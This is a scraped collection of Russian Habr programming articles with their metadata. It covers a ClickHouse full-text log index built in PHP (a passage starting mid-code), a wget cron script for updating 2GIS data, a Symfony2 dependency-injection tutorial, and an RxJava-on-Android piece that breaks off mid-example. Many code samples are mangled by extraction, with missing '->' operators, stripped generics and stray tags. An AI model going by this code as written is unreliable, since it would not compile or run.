while ($mysqli->query('SELECT MAX(message\_id) FROM IndexQueue WHERE shard\_id = ' . $shard\_id)->fetch\_row()[0]) {
$index = "";
$start = microtime(true);
$ids = [];
foreach ($mysqli->query('SELECT message\_id FROM IndexQueue WHERE shard\_id = ' . $shard\_id . ' ORDER BY message\_id LIMIT ' . $limit)->fetch\_all() as $row) {
$ids[] = $row[0];
}
if (empty($ids)) {
break;
}
$message\_texts = $mysqli->query('SELECT message\_id, `message\_text` FROM Messages WHERE message\_id IN(' . implode(', ', $ids) . ')')->fetch\_all(MYSQLI\_ASSOC);
$unknown\_words = [];
$msg\_words = [];
$total\_length = 0;
foreach ($message\_texts as $msg) {
$msg\_id = $msg['message\_id'];
$text = $msg['message\_text'];
$total\_length += strlen($text);
$words = array\_unique(
array\_filter(
preg\_split('/\W+/s', $text),
function($a) {
$len = strlen($a);
return $len >= 2 && $len <= MAX\_WORD\_LEN;
}
)
);
foreach ($words as $word) {
$unknown\_words[$word] = true;
}
$msg\_words[$msg\_id] = $words;
}
if (!count($message\_texts)) {
$mysqli->query('DELETE FROM IndexQueue WHERE shard\_id = ' . $shard\_id . ' AND message\_id IN(' . implode(', ', $ids) . ')');
continue;
}
if (!count($unknown\_words)) {
var\_dump($message\_texts);
die("Empty message texts!\n");
}
$words\_res = $mysqli->query('SELECT word, id FROM Words WHERE word IN(' . INstr(array\_keys($unknown\_words)) . ')')->fetch\_all(MYSQLI\_ASSOC);
$word\_ids = [];
foreach ($words\_res as $row) {
$word\_ids[$row['word']] = $row['id'];
unset($unknown\_words[$row['word']]);
}
if (count($unknown\_words)) {
echo "Inserting " . count($unknown\_words) . " words into dictionary\n";
$values = [];
foreach ($unknown\_words as $word => $\_) {
$values[] = "('" . $mysqli->escape\_string($word) . "')";
}
$mysqli->query('INSERT IGNORE INTO Words (word) VALUES ' . implode(',', $values));
$words\_res = $mysqli->query('SELECT word, id FROM Words WHERE word IN(' . INstr(array\_keys($unknown\_words)) . ')')->fetch\_all(MYSQLI\_ASSOC));
foreach ($words\_res as $row) {
$word\_ids[$row['word']] = $row['id'];
unset($unknown\_words[$row['word']]);
}
}
if (count($unknown\_words)) {
die("Could not fill dictionary\n");
}
foreach ($msg\_words as $msg\_id => $words) {
foreach ($words as $word) {
// здесь неявно предполагается, что unix timestamp из message\_id можно вычислить путем отрезания последних 32 бит
$index .= date('Y-m-d', $msg\_id >> 32) . "\t" . $word\_ids[$word] . "\t" . $msg\_id . "\n";
}
}
$ch = curl\_init('http://' . CH\_HOST . '/?query=' . rawurlencode('INSERT INTO FT FORMAT TabSeparated'));
curl\_setopt($ch, CURLOPT\_POSTFIELDS, $index);
curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);
$res = curl\_exec($ch);
if ($res !== "") {
die($res . "\n");
}
$mysqli->query('DELETE FROM IndexQueue WHERE shard\_id = ' . $shard\_id . ' AND message\_id IN(' . implode(', ', $ids) . ')');
echo "Speed " . round($total\_length / 1024 / (microtime(true) - $start), 2) . " KiB/sec\n";
}
function INstr(array $values) {
global $mysqli;
$res = [];
foreach ($values as $v) $res[] = "'" . $mysqli->escape\_string($v) . "'";
return implode(',', $res);
}
```
Поиск по индексу
================
Нам не нужны алгоритмы ранжирования при поиске, которыми так богаты Elastic, Sphinx и другие решения, и нам нужна просто сортировка по дате, поэтому поиск будет исключательно прост. По сути, чтобы найти что-либо по запросу «hello world 111», нам нужно сначала найти word\_id в словаре (предположим, что это будет 1, 2 и 3 соответственно) и выполнить следующий запрос:
```
SELECT message_id FROM FT
WHERE word_id IN(1, 2, 3)
GROUP BY message_id
HAVING uniq(word_id) = 3
ORDER BY message_id DESC
LIMIT 50
```
Обратите внимание на то, что в каждом документе, который мы ищем, должны присутствовать все слова из запроса, поэтому мы пишем HAVING uniq(word\_id) = 3 (uniq(word\_id) — это аналог COUNT(DISTINCT word\_id) в обычных SQL-базах), где 3 — это количество различных слов в запросе.
Мы предполагаем, что сортировка по message\_id будет означать сортировку по времени. Этого можно добиться, если в первые 32 бита message\_id записывать UNIX TIMESTAMP события в секундах, а во вторую половину — микросекунды события (если есть) и случайные числа.
Результаты
==========
Для тестирования производительности этого решения, я взял базу данных error-логов с нашего девел-сервера объемом в 3 Гб (1,6 млн событий) и проиндексировал. Индексатор показал скорость индексации в 3,5 Мб/сек на один поток, что для моего случая было более, чем достаточно. В данный момент мы используем Sphinx для полнотекстового поиска по error-логам, поэтому я могу примерно сравнить производительность этих двух решений, поскольку работают они примерно в одинаковых условиях на одном и том же железе. Индексация у Sphinx (по крайней мере, построение не realtime-индекса) в несколько раз быстрее в расчете на одно ядро, но учитывайте, что индексатор сфинкса написан на C++, а наш — на PHP :).
Чтобы вычислить самый тяжелый запрос для ClickHouse (и, очевидно, для Sphinx тоже), я решил найти самые популярные слова в индексе:
```
$ echo 'SELECT word_id, count() AS cnt FROM FT GROUP BY word_id ORDER BY cnt DESC LIMIT 5' | curl 'http://hostname:8123/?query=' --data-binary @-
5 1669487
187 1253489
183 1217494
159 1216255
182 1199507
```
Запрос занял 130 мс при общем количестве записей в 86 млн, впечатляет! (на тестовой машине 2 ядра).
Итак, если взять топ-5 и превратить word\_id в нормальные слова, то запрос для исполнения получится следующий: «php wwwrun \_packages ScriptFramework badoo». Эти слова встречаются у нас почти в каждом сообщении и их можно спокойно выкинуть из индекса, но я их оставил для проверки производительности поиска.
Выполняем запрос в ClickHouse:
```
SELECT message_id FROM FT WHERE word_id IN(189, 159, 187, 5, 183) GROUP BY message_id HAVING uniq(word_id) = 5 ORDER BY message_id DESC LIMIT 51
```
И похожий запрос в Sphinx:
```
SELECT message_id FROM FT WHERE MATCH('php wwwrun _packages ScriptFramework badoo') ORDER BY message_id DESC LIMIT 51
```
Времена исполнения запроса (оба демона могут использовать для выполнения запроса оба ядра, всё помещается в оперативную память):
**ClickHouse:** 700 мс
**Sphinx:** 1500 мс
Учитывая, что Sphinx умеет ранжировать результаты, а наша система нет, время у Sphinx весьма неплохое. Не забывайте, что за время выполнения запроса оба демона должны были объединить результаты для ~6 млн документов (по 1,2 млн документов на слово) и делали это на скромных 2 ядрах. Вполне возможно, что при должной настройке, времена, указанные в этом (немного синтетическом) тесте, поменяются местами, но тем не менее, результатами лично я очень доволен и можно смело сказать, что для построения реалтайм-поиска по логам ClickHouse подходит очень хорошо.
Спасибо за то, что прочли статью до конца и надеюсь, что она вам понравилась.
P.S. Я не являюсь сотрудником Яндекса и с Яндексом никак не связан, я просто хотел попробовать их базу данных для реальной задачи :).
Ссылки
======
1. [Сайт ClickHouse](https://clickhouse.yandex)
2. [Статья на Хабре до open-source](https://habrahabr.ru/company/yandex/blog/273305/)
3. [Опен-сорс статья на Хабре](https://habrahabr.ru/company/yandex/blog/303282/)
4. [Github](https://github.com/yandex/ClickHouse)
5. [ClickHouse Docker](https://hub.docker.com/r/yandex/clickhouse-server/)
\*UPD:\* Лучше использовать функцию [uniqUpTo(N)](https://clickhouse.yandex/reference_ru.html#uniqUpTo(N)(x)), поскольку uniq является приближенной, хоть и дающей очень точный результат при количестве элементов меньше 65536. | https://habr.com/ru/post/304602/ | null | ru | null |
# Обновление ДубльГИС консольными средствами Linux
#### Введение
Очень часто пользователи просят установить ДубльГИС (не сочтите за рекламу) справочник, особенно если пользователь ездит в командировки, общается с людьми из других городов.
И как у любого системного администратора у меня возникла идея автоматически и централизованно обновлять ДубльГИС для всех городов.
По ряду причин решено было сделать это средствами Linux.
Одной из причин являлось отсутствия решения для централизованного обновления под данную операционную систему.
Еще одной — отсутствие файла на сайте со всеми базами и оболочкой в одном архиве для пользователей Linux.
В данной статье я расскажу как можно обновить ДубльГИС для всех городов, консольными средствами Linux.
#### Что понадобится?
* Linux сервер (у меня работает под Fedora 15)
* wget
* sed,grep
* unzip
* Ваш любимый текстовый редактор
#### Пишем скрипт
Вот какой скрипт получился у меня.
Качаем Web страницу со ссылками на города.
`wget --no-proxy --html-extension -P/root/2gis 'http://www.2gis.ru/how-get/linux/'`
Выдираем из всех html файлов, что скачались, все строки со ссылками, сортируем, удаляем дубликаты и записываем их во временный файл index.tmp.
`cat /root/2gis/*.html | grep http:\/\/ |sort |uniq >/root/2gis/index.tmp`
Удаляем web-страницу — она больше не нужна.
`rm -f /root/2gis/*.html`
Этой жуткой командой мы обработали Index.tmp на предмет вытаскивания всех ссылок со строкой how-get и сразу закачали web-страницы по этим ссылкам.
`cat /root/2gis/index.tmp | grep -o [\'\"\ ]*http:\/\/[^\"\'\ \>]*[\'\"\ \>] | sed s/[\"\'\ \>]//g | grep how-get | xargs wget --no-proxy -r -p -np -l1 -P/root/2gis --tries=10 --html-extension --no-directories --span-hosts --dot-style=mega`
Удалили index.tmp — только мешается.
`rm -f /root/2gis/index.tmp`
Склеили все файлы с расширением html в один index2.tmp.
`cat /root/2gis/*.html >/root/2gis/index2.tmp`
Удаляем скаченные Web-страницы.
`rm -f /root/2gis/*.html`
Теперь самое интересное — нужно выдернуть ссылки на обновления и скачать файлы по ним.
Обрабатываем index2.tmp на предмет ссылок со строкой "/last/linux/", сортируем, удаляем дубликаты и сразу качаем в папку 2gis.arch только новые файлы
`cat /root/2gis/index2.tmp | grep -o [\'\"\ ]*http:\/\/[^\"\'\ \>]*[\'\"\ \>] | sed s/[\"\'\ \>]//g | grep "/last/linux/" | sort | uniq | xargs wget --no-proxy -nc -P/root/2gis.arch --tries=3 --html-extension --no-directories --span-hosts --dot-style=mega`
Удаляем все временные файлы.
`rm -fr /root/2gis/index*`
Распаковываем из папки с архивами все zip файлы в нашу целевую папку /root/2gis/
`unzip -o /root/2gis.arch/\*.zip -d /root/2gis/`
Удаляем архивы старше 20 дней, чтобы не было дубликатов
`find /root/2gis.arch/ -name * -mtime +20 |xargs rm -fr`
Теперь в папке /root/2gis лежит распакованный ДубльГИС для всех городов, а в папке /root/2gis.arch архивы для пользователей Linux, скачанные с сайта.
Ставим скрипт на выполнение по cron'у.
Я поставил на каждый день, скрипт не скачает лишних файлов.
#### Заключение
Структура сайта ДубльГИС постоянно меняется, не исключено, что скрипт может не скачать обновления. Рекомендую периодически это контроллировать.
**UPDATED 31.12.2011**
Отредактировал скрипт. Убрал все лишнее.
Новый вариант.
`wget -O - 'http://www.2gis.ru/how-get/linux/' 2>/dev/null | sed "s/^.*\(http:\/\/[^\"\'\ ]*\/how-get\/linux\/\).*$/\1/g" |\
grep "how-get\/linux"|sort|uniq|xargs wget -p -O - 2>/dev/null |sed "s/^.*\(http:\/\/[^\"\'\ ]*\/last\/linux\/\).*$/\1/g"|grep "last\/linux"| sort|uniq|\
xargs wget -N -P/root/2gis.arch
unzip -o /root/2gis.arch/\*.zip -d /root/2gis/`
PS Спасибо [kriomant](https://habrahabr.ru/users/kriomant/) за конструктивную критику.
Всех с новым годом! | https://habr.com/ru/post/135528/ | null | ru | null |
# Руководство по использованию Dependency Injection в Symfony2
В данной статье приводится пример создания простого сайта-блога с использованием паттерна [Dependency Injection](http://ru.wikipedia.org/wiki/Внедрение_зависимости). Применяется подход с внедрением зависимостей во все возможные компоненты Symfony: контроллеры, doctrine-репозитории, формы.
Для упрощения статьи сократим число страниц сайта до двух:
* Добавление нового поста (/add)
* Отображение списка всех постов (/list)
Финальная архитектура приложения будет выглядеть следующим образом:
Шаг 1. Создание произвольного сервиса
-------------------------------------
DI как часть Symfony уже [рассматривался](http://habrahabr.ru/post/117572/) на хабре, а также подробно описан в [документации](http://symfony.com/doc/current/book/service_container.html). Поэтому мы сразу приступим к созданию собственных сервисов и зависимостей. Это можно сделать тремя способами: задание зависимостей в коде бандла, через конфигурационные файлы (YAML, XML, PHP) и используя аннотации (при помощи бандла [JMSDiExtraBundle](http://jmsyst.com/bundles/JMSDiExtraBundle), входящего в стандартную комплектацию Symfony). Каждый способ имеет свои плюсы и минусы. Мы будем использовать аннотации для наглядности и сокращения объема кода. Начнем с класса, реализующего бизнес-логику. Пусть это будет PostManager, обрабатывающий добавление нового поста:
**/src/AppBundle/Manager/PostManager.php**
```
php
namespace AppBundle\Manager;
use JMS\DiExtraBundle\Annotation as DI;
use AppBundle\Entity\Post;
use AppBundle\Entity\User;
/**
* @DI\Service("app.manager.post", public=false)
*/
class PostManager
{
/**
* @DI\Inject("doctrine.orm.entity_manager")
* @var \Doctrine\ORM\EntityManager
*/
public $em;
public function addPost(Post $post, User $user)
{
$post-setAuthor($user);
$this->em->persist($post);
$user->setLastPost($post);
$user->increasePostsCount();
$this->em->flush();
}
}
```
**@DI\Service** — превращает класс в сервис. В параметрах аннотации указывается название сервиса (app.manager.post) и его атрибуты.
**public=false** — данный атрибут [указывает](http://symfony.com/doc/current/components/dependency_injection/advanced.html) на то, что созданный сервис нельзя будет вызывать напрямую из DIC ($container->get('app.manager.post') приведет к ошибке). Созданный сервис смогут использовать только сервисы, зависящие от него явно (далее, на примере с контроллером, станет понятнее).
**@DI\Inject** — указание сервисов, от которых зависит созданный сервис. Использование данной аннотации возможно только с переменными типа public. Для private/protected переменных-зависимостей можно использовать [@DI\InjectParams](http://jmsyst.com/bundles/JMSDiExtraBundle/master/usage) для конструктора или другие способы создания сервисов.
Итак, мы создали сервис **app.manager.post**, зависящий от **doctrine.orm.entity\_manager**:
Графическое отображение сервисов и связей доступно в удобном веб-интерфейсе с установкой [JMSDebuggingBundle](http://jmsyst.com/bundles/JMSDebuggingBundle).
Шаг 2. Создание контроллера
---------------------------
По умолчанию в Symfony контроллеры не являются сервисами, но в документации есть [заметка](http://symfony.com/doc/2.0/cookbook/controller/service.html), позволяющая их сделать таковыми. Создадим PostController, использующий ранее созданный PostManager:
**/src/AppBundle/Controller/PostController.php**
```
php
namespace AppBundle\Controller;
use JMS\DiExtraBundle\Annotation as DI;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template;
use JMS\SecurityExtraBundle\Annotation\Secure;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use AppBundle\Entity\Post;
use AppBundle\Form\PostType;
/**
* @DI\Service("app.controller.post", scope="request")
* @Route(service="app.controller.post")
*/
class PostController extends Controller
{
/**
* @DI\Inject("service_container")
*/
public $container;
/**
* @DI\Inject("app.manager.post")
* @var \AppBundle\Manager\PostManager
*/
public $postManager;
/**
* @Route("/add", name="post_add")
* @Template
* @Secure(roles="ROLE_USER")
*/
public function addAction()
{
$post = new Post();
$form = $this-createForm(new PostType(), $post);
if ($this->getRequest()->getMethod() == 'POST') {
$form->bind($this->getRequest());
if ($form->isValid()) {
$this->postManager->addPost($post, $this->getUser());
return $this->redirect($this->generateUrl('post_list'));
}
}
return array(
'form' => $form->createView()
);
}
}
```
**scope=«request»** — данный атрибут подробно [описан](http://symfony.com/doc/current/cookbook/service_container/scopes.html) в документации
**@Rоute(service=«app.controller.post»)** — сообщает системе роутинга, что данный контроллер используется как сервис. При этом строковые значения правил переадресации изменятся с 'AppBundle:Post:add' на 'app.controller.post:addAction'.
Использование зависимости **@DI\Inject(«service\_container»)** требует родительский класс-контроллер Symfony\Bundle\FrameworkBundle\Controller\Controller. В качестве контроллеров допускаются любые классы, не обязательно производные от стандартного контроллера — в этом случае зависимость от DIC можно исключить.
Таким образом, мы создали сервис **app.controller.post**, зависящий от **service\_container** и **app.manager.post**:
Доступ сервиса к service\_container означает, что он имеет доступ сразу ко всем public-сервисам проекта (через $this->container->get('...')). Это облегчает использование фреймворка, но отследить связи между сервисами при таком подходе практически невозможно. Поэтому для сервисов приложения рекомендуется использовать атрибут public=false и следовать правилу:
Шаг 3. Создание формы
---------------------
Данный шаг не является обязательным и служит скорее для демонстрации возможностей и закрепления материала. Но в объемных проектах, использующих большое количество форм, может быть полезным для контроля связей.
В созданном контроллере мы использовали форму PostType, попробуем определить её как сервис:
**/src/AppBundle/Form/PostType.php**
```
php
namespace AppBundle\Form;
use JMS\DiExtraBundle\Annotation as DI;
/**
* @DI\Service("app.form.post", public=false)
*/
class PostType extends AbstractType
{
/* ... */
}
</code
```
Воспользуемся созданным сервисом в контроллере:
**/src/AppBundle/Controller/PostController.php**
```
/* ... */
class PostController extends Controller
{
/**
* @DI\Inject("app.form.post")
* @var \AppBundle\Form\PostType
*/
public $postType;
public function addAction()
{
$post = new Post();
$form = $this->createForm($this->postType, $post);
/* ... */
}
}
```
Теперь мы можем проследить связь формы и контроллера:
Шаг 4. Создание репозитория
---------------------------
### Первый способ: фабричное создание
Использование Doctrine-репозиториев как сервисов осложняется тем, что они не являются частью Symfony, а входят в состав Doctrine. Но такая возможность всё же есть, через [фабричное](http://symfony.com/doc/current/components/dependency_injection/factories.html) создание сервисов. К сожалению, на данный момент она [не поддерживается](https://github.com/schmittjoh/JMSDiExtraBundle/issues/65) через аннотации, поэтому придется использовать конфиги.
В файле Doctrine-сущности укажем путь к репозиторию:
**/src/AppBundle/Entity/Post.php**
```
php
namespace AppBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* @ORM\Table()
* @ORM\Entity(repositoryClass="AppBundle\Repository\PostRepository")
*/
class Post
{
/* ... */
}
</code
```
Создадим PostRepository для получения постраничного списка постов:
**/src/AppBundle/Repository/PostRepository.php**
```
php
namespace AppBundle\Repository;
use Doctrine\ORM\EntityRepository;
use Doctrine\ORM\Tools\Pagination\Paginator;
class PostRepository extends EntityRepository
{
public function getListPaginator($first, $max)
{
$qb = $this-createQueryBuilder('p')
->orderBy('p.id', 'DESC')
->setFirstResult($first)
->setMaxResults($max);
return new Paginator($qb->getQuery());
}
}
```
Определяем созданный класс как сервис **app.repository.post**:
**/src/AppBundle/Resources/config/services.yml**
```
services:
app.repository.post:
class: AppBundle\Repository\PostRepository
factory_service: doctrine.orm.entity_manager
factory_method: getRepository
public: false
arguments: [AppBundle\Entity\Post]
```
Добавим репозиторий и страницу со списком в контроллер:
**/src/AppBundle/Controller/PostController.php**
```
/* ... */
class PostController extends Controller
{
/**
* @DI\Inject("app.repository.post")
* @var \AppBundle\Repository\PostRepository
*/
public $postRepository;
protected $itemsPerPage = 10;
/**
* @Route("/list/{page}", requirements={"page"="\d+"}, defaults={"page"=1}, name="post_list")
* @Template
*/
public function listAction($page)
{
$posts = $this->postRepository->getListPaginator(
$first = ($page-1)*$this->itemsPerPage,
$max = $this->itemsPerPage
);
return array(
'posts' => $posts,
'page' => $page,
'pagesCount' => ceil(count($posts)/$this->itemsPerPage),
);
}
/* ... */
}
```
### Второй способ: создание репозиториев-обёрток
Данный способ использует паттерн [Adapter](http://ru.wikipedia.org/wiki/Адаптер_(шаблон_проектирования)). Стандартный Doctrine-репозиторий включается в наш собственный сервис-репозиторий. В отличие от первого способа, здесь все реализуемо аннотациями.
В файле Doctrine-сущности убираем указание репозитория:
**src/AppBundle/Entity/Post.php**
```
php
namespace AppBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* @ORM\Table()
* @ORM\Entity()
*/
class Post
{
/* ... */
}
</code
```
Нам понадобится родительский класс Repository, зависимый от doctrine.orm.entity\_manager и реализующий необходимые функции репозитория. Для этого воспользуемся [наследованием сервисов](http://symfony.com/doc/current/components/dependency_injection/parentservices.html):
**/src/AppBundle/Repository/Repository.php**
```
php
namespace AppBundle\Repository;
use JMS\DiExtraBundle\Annotation as DI;
/**
* @DI\Service("app.repository", abstract=true)
*/
class Repository
{
/**
* @DI\Inject("doctrine.orm.entity_manager")
* @var \Doctrine\ORM\EntityManager
*/
public $em;
protected $repositoryName;
/** @return \Doctrine\ORM\EntityRepository */
protected function getDoctrineRepository()
{
return $this-em->getRepository($this->repositoryName);
}
public function find($id)
{
return $this->getDoctrineRepository()->find($id);
}
public function findOneBy(array $criteria)
{
return $this->getDoctrineRepository()->findOneBy($criteria);
}
public function findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
{
return $this->getDoctrineRepository()->findBy($criteria, $orderBy, $limit, $offset);
}
public function findAll()
{
return $this->getDoctrineRepository()->findAll();
}
/** @return \Doctrine\ORM\QueryBuilder */
public function createQueryBuilder($alias)
{
return $this->getDoctrineRepository()->createQueryBuilder($alias);
}
}
```
Определение сервиса теперь будет в самом классе репозитория-обёртки:
**/src/AppBundle/Repository/PostRepository.php**
```
php
namespace AppBundle\Repository;
use JMS\DiExtraBundle\Annotation as DI;
use Doctrine\ORM\Tools\Pagination\Paginator;
/**
* @DI\Service("app.repository.post", parent="app.repository", public=false)
*/
class PostRepository extends Repository
{
protected $repositoryName = 'AppBundle:Post';
public function getListPaginator($first, $max)
{
$qb = $this-createQueryBuilder('p')
->orderBy('p.id', 'DESC')
->setFirstResult($first)
->setMaxResults($max);
return new Paginator($qb->getQuery());
}
}
```
Примечание: при использовании аннотаций, указание параметра parent=«app.repository» не является обязательным. JMSDiExtraBundle подставляет его автоматически, на основании родительского класса.
Оба способа реализуют одинаковый функционал и являются взаимозаменяемыми. Поэтому код контроллера не изменится:
**/src/AppBundle/Controller/PostController.php**
```
/* ... */
class PostController extends Controller
{
/**
* @DI\Inject("app.repository.post")
* @var \AppBundle\Repository\PostRepository
*/
public $postRepository;
protected $itemsPerPage = 10;
/**
* @Route("/list/{page}", requirements={"page"="\d+"}, defaults={"page"=1}, name="post_list")
* @Template
*/
public function listAction($page)
{
$posts = $this->postRepository->getListPaginator(
$first = ($page-1)*$this->itemsPerPage,
$max = $this->itemsPerPage
);
return array(
'posts' => $posts,
'page' => $page,
'pagesCount' => ceil(count($posts)/$this->itemsPerPage),
);
}
/* ... */
}
```
В результате граф зависимостей приложения примет следующий вид:
Для контроля связей при таком подходе необходимо следовать правилу:
Шаг 5. Оптимизация
------------------
Как Вы уже заметили, все зависимости сервиса являются его переменными и создаются вместе с созданием этого сервиса. В свою очередь, при создании зависимостей, создаются их зависимости, таким образом создаются все элементы поддерева зависимостей, в том числе неиспользуемые. На примере app.controller.post мы видим, что функция addAction использует app.manager.post и app.form.post, а listAction – app.repository.post. Но все переменные создаются при создании контроллера, поэтому, какую бы мы функцию не вызвали, часть переменных обязательно будут неиспользуемыми: в случае addAction это app.repository.post, в случае listAction — app.manager.post и app.form.post. Данный класс как бы состоит из двух независимых частей, в таком случае говорят, что он обладает низкой [связностью](http://ru.wikipedia.org/wiki/Связность_(программирование)). Чем с большим количеством переменных работает метод, тем выше связность этого метода со своим классом. Класс, в котором каждая переменная используется каждым методом, обладает максимальной связностью. Создание классов с максимальной связностью не всегда является возможным, но в нашем случае этого легко добиться, разделив app.controller.post на два независимых класса:
Заключение
----------
Внедрение зависимостей во все классы системы повышает качество архитектуры, но увеличивает её сложность и время разработки. Поэтому данный подход оправдывает себя только в больших проектах. При создании маленьких проектов, подобных созданному в статье сайту, от него стоит отказаться, впрочем, как и от использования Symfony (в пользу легковесных фреймворков).
Рабочие исходники можно скачать/посмотреть здесь:
[github.com/cerritus/demoblog](https://github.com/cerritus/demoblog) | https://habr.com/ru/post/165237/ | null | ru | null |
# Реактивное программирование под Android
Отказоустойчивость, отзывчивость, ориентированность на события и масштабируемость — четыре принципа нынче популярного [реактивного программирования](http://www.reactivemanifesto.org/). Именно следуя им создаётся backend больших систем с одновременной поддержкой десятков тысяч соединений.
Отзывчивость, простота, гибкость и расширяемость кода — принципы, которые можно закрепить за реактивным UI.
Наверняка, если совместить реактивные backend и UI, то можно получить качественный продукт. Именно его мы и попытались сделать, разрабатывая [2GIS Dialer](http://apps.2gis.ru/?utm_source=news&utm_medium=habr&utm_campaign=post_reactive#dialer) — звонилки, которая работает через API и при этом должна оставаться быстрой и удобной.
#### Зачем нам реактивное программирование
Рассмотрим пример:
```
requestDataTask = new AsyncTask() {
@Override
protected JSONObject doInBackground(Void... params) {
final String requestResult = apiService.getData();
final JSONObject json = JsonUtils.parse(requestResult);
lruCache.cacheJson(json);
return json;
}
};
```
Тут всё просто, мы создаем AsyncTask, в котором:
1. Делаем запрос к [API 2ГИС](http://api.2gis.ru/?utm_source=news&utm_medium=habr&utm_campaign=post_reactive</a>).
2. Создаем`JSONObject` на основе результата запроса.
3. Кэшируем `JSONObject`.
4. Возвращаем `JSONObject`.
Подобный код встречается во многих проектах, он понятен, а миллионы леммингов не могут ошибаться. Но давайте копнём чуть глубже:
1. Что делать, если где-то во время выполнения выпал `Exception`?
2. `doInBackground(Void...)` выполняется в отдельном потоке, как нам сказать пользователю об ошибке в UI? Заводить поля для `Exception`?
3. А что возвращать, если не прошел запрос? *null*?
4. А если json не валидный?
5. Что стоит делать, если не удалось кэшировать объект?
И ведь это не самый сложный пример. Представьте, что вам надо сделать ещё один запрос на основе результатов предыдущего. На AsyncTask’ах это будет callback-hell, который, как минимум, будет неустойчив к падениям, ошибкам и т.д.
Вопросов больше, чем ответов. О недостатках AsyncTask’ов можно написать целую статью, серьезно. Но есть ли варианты лучше?
#### Фреймворк RxJava
Оглядываясь на принципы реактивного программирования мы начали искать решение, которое обеспечит:
* отсутствие зависаний и тормозов;
* масштабируемость на ресурсы смартфона;
* отсутствие крэшей;
* ориентированность на события.
Таковым стала [RxJava](https://github.com/Netflix/RxJava) от ребят из Netflix — reactive extension, идея (но не реализация) которого перекочевала из reactive extension for c#.
В RxJava всё крутится вокруг `Observable`. `Observable` — это как потоки данных (ещё их можно рассматривать как монады), которые могут каким-либо образом получать и отдавать эти самые данные. Над `Observable`’ами можно применять операции, такие как `flatmap`, `filter`, `zip`, `merge`, `cast` и т.д.
Простой пример:
```
//Observable, который последовательно будет давать нам элементы из Iterable
final Subscription subscription = Observable.from(Arrays.asList(1, 2, 3, 4, 5))
.subscribeOn(Schedulers.newThread()) //отдаем новый тред для работы в background
.observeOn(AndroidSchedulers.mainThread()) //говорим, что обсервить хотим в main thread
.subscribe(new Action1() {
@Override
public void call(Integer integer) {
//do something with result
}
});
```
Мы создаем `Observable`, который поочередно отдает нам числа из `Iterable`. Указываем, что генерация и передача данных будет происходить в отдельном треде, а обработка результата — в main thread. Подписываемся на него, и в методе подписчика производим любые манипуляции с каждым следующим результатом.
Можно сделать этот пример более интересным:
```
//Observable, который последовательно будет давать нам элементы из Iterable
final Subscription subscription = Observable.from(Arrays.asList(1, 2, 3, 4, 5)).
//оператор фильтрации для отсеивания ненужных результатов
filter(new Func1() {
@Override
public Boolean call(Integer integer) {
return integer % 2 == 0; //выражение верно только для четных чисел
}
})
.subscribeOn(Schedulers.newThread())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new Action1() {
@Override
public void call(Integer integer) {
//do something with ONLY EVEN result
}
});
```
Теперь, указав оператор `filter`, мы можем обрабатывать только чётные значения.
#### Как используют RxJava
Вернёмся к нашему первому AsyncTask и посмотрим, как бы мы решили задачу с помощью реактивного программирования.
Для начала создадим Observable с запросом:
```
//Observable, действия которого основанны на переданной ему Observable.OnSubscribe
Observable.create(new Observable.OnSubscribe() {
@Override
public void call(Subscriber super String subscriber) {
//сообщить сабскрайберу о том, что есть новые данные
subscriber.onNext(apiService.getData());
//А теперь сообщаем о том, что мы закончили и данных больше нет
subscriber.onCompleted();
}
});
```
Тут мы создаем `Observable` и специфицируем его поведение. Делаем запрос и отдаем результат в `onNext(...)`, после чего говорим `Subscriber`’у, что мы закончили, вызвав `onCompleted()`.
С этим понятно: мы создали `Observalble`, который отвечает только за получение объекта `String` с API. [SRP](http://en.wikipedia.org/wiki/Single_responsibility_principle) в чистом виде.
Что, если запрос не прошёл по каким-то причинам? Тогда мы можем позвать у `Observable` метод `retry(...)`, который будет повторять этот самый `Observable` n раз, пока он не завершится успешно (читай, без `Exception`). Кроме того, мы можем отдать `Observable`’у другой `Observable`, если даже `retry()` не помог. Если backend написан криво, то лучше бы нам закрывать соединение по таймауту. И у нас есть метод `timeout(...)` на этот случай. Всё вместе это выглядело бы так:
```
final Subscription subscription =
Observable.create(new Observable.OnSubscribe() {
@Override
public void call(Subscriber super String subscriber) {
subscriber.onNext(apiService.getData());
subscriber.onCompleted();
}
})
.timeout(5, TimeUnit.SECONDS) //указываем таймаут операции в секундах
.retry(3) // делаем 3 попытки запроса
//назначаем обработчик в случае, если все таки мы не спасли положение
.onErrorResumeNext(new Func1>() {
@Override
public Observable extends String call(Throwable throwable) {
//return new observable here, that can rescure us from error
}
});
```
И немного рефакторинга:
```
final Subscription subscription =
createApiRequestObservable() //создали Observable с запросом
.timeout(TIMEOUT_IN_SECONDS, TimeUnit.SECONDS) //поставили таймаут
.retry(RETRY_COUNT_FOR_REQUEST) //поставили кол-во повторов
.onErrorResumeNext(createRequestErrorHandler()); // назначили обработчик ошибки
```
Теперь займемся созданием json. Для этого результат нашего первого `Observable` (а там `String`) надо преобразовать. Используем `map(...)`, и, если что-то вдруг пойдет не так, вернем другой, нужный нам в случае неудачи, json с помощью `onErrorReturn(...)`.
Вот так:
```
final Subscription subscription =
createApiRequestObservable()
.timeout(TIMEOUT_IN_SECONDS, TimeUnit.SECONDS)
.retry(RETRY_COUNT_FOR_REQUEST)
.onErrorResumeNext(createRequestErrorHandler())
//модифицируем Observable, чтобы тот преобразовывал String в JSONObject
.map(new Func1() {
@Override
public JSONObject call(String s) {
return JsonUtils.parse(s);
}
})
//снова ставим обработчик ошибки
//и вернем предустановленный "ошибочный" json
.onErrorReturn(new Func1() {
@Override
public JSONObject call(Throwable throwable) {
return jsonObjectForErrors;
}
});
```
Ок, с json разобрались. Осталось кэширование. Кэширование: это не преобразование результата, а действие над ним. Для этого у `Observable` есть методы `doOnNext(...)`, `doOnEach(...)` и т.д. Получается как-то так:
```
final Subscription subscription =
createApiRequestObservable()
.timeout(TIMEOUT_IN_SECONDS, TimeUnit.SECONDS)
.retry(RETRY_COUNT_FOR_REQUEST)
.onErrorResumeNext(createRequestErrorHandler())
//модифицируем Observable, чтобы тот преобразовывал String в JSONObject
.map(new Func1() {
@Override
public JSONObject call(String s) {
return JsonUtils.parse(s);
}
})
